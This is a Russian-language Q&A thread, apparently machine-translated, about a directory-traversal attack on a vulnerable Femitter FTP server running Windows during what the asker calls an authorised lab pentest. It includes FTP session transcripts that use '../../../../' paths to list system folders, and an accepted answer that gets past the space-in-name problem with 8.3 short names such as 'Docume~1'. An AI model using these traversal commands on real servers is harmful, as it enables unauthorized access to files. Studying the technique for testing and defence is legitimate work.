11

Я провожу санкционированный пентест в закрытой референтной среде и столкнулся с кажущейся простой проблемой, которую в настоящее время не могу решить.

При попытке выполнить атаку по обходу каталога на уязвимый FTP-сервер Fermitter, работающий в ОС MS Windows, можно создать LIST в корневом каталоге системы (адреса и списки содержимого изменены здесь только для справки):

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

Однако, если я хочу отобразить содержимое папки, содержащей пробелы, такие как Documents and settings , я не могу отобразить содержимое каталога из-за игнорирования пробелов.

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

Я уже пытался использовать разные FTP-клиенты (CLI и GUI, в Linux и Windows), и они либо игнорировали пробелы, либо запрещали обратный путь в каталогах.

Также попытался написать сценарий атаки на Python, используя сначала raw-сокеты, а затем ftplib для отправки команд в формате HEX непосредственно на FTP-сервер, но безуспешно.

Поиск в течение нескольких часов не дал рабочего решения (да, было много вариантов, которые не работали), поэтому здесь есть кто-то, у кого была такая же проблема. Я уверен, что это не первый раз, когда требуется обход каталога с пробелами.

3 ответа3

14

Решение, предложенное @Dogeatcatworld для использования кратких обозначений каталогов MS Windows, таких как C:\Docume~1\ .

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

Действительно хорошая статья из базы знаний MS объясняет обозначение каталога 8.3: как Windows генерирует имена файлов 8.3 из длинных имен файлов

1

"Короткое имя" на самом деле является старым соглашением об именах DOS 8.3, поэтому все каталоги будут первыми 6 буквами, за которыми следует ~ 1, при условии, что есть только одно имя, которое соответствует, например:

C:\ABCDEF ~ 1 - C:\ABCDEFG Я ЕСТЬ КАТАЛОГ
C:\BCDEFG ~ 1 - C:\BCDEFGHIJKL M Другой каталог

Вот единственное исключение:

C:\ABCDEF ~ 1 - C:\ABCDEFG Я ЕСТЬ КАТАЛОГ
Каталог C:\ABCDEF ~ 2 - C:\ABCDEFGHI

Источник: Как я могу найти короткий путь к каталогу / файлу Windows?

0

Ftp не использует URL-кодировку, поэтому% xx не будет работать, если вы не используете ftp в браузере, который может перевести его для вас.

Попробуйте вместо этого использовать кавычки, например: ls "../../some dir "

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .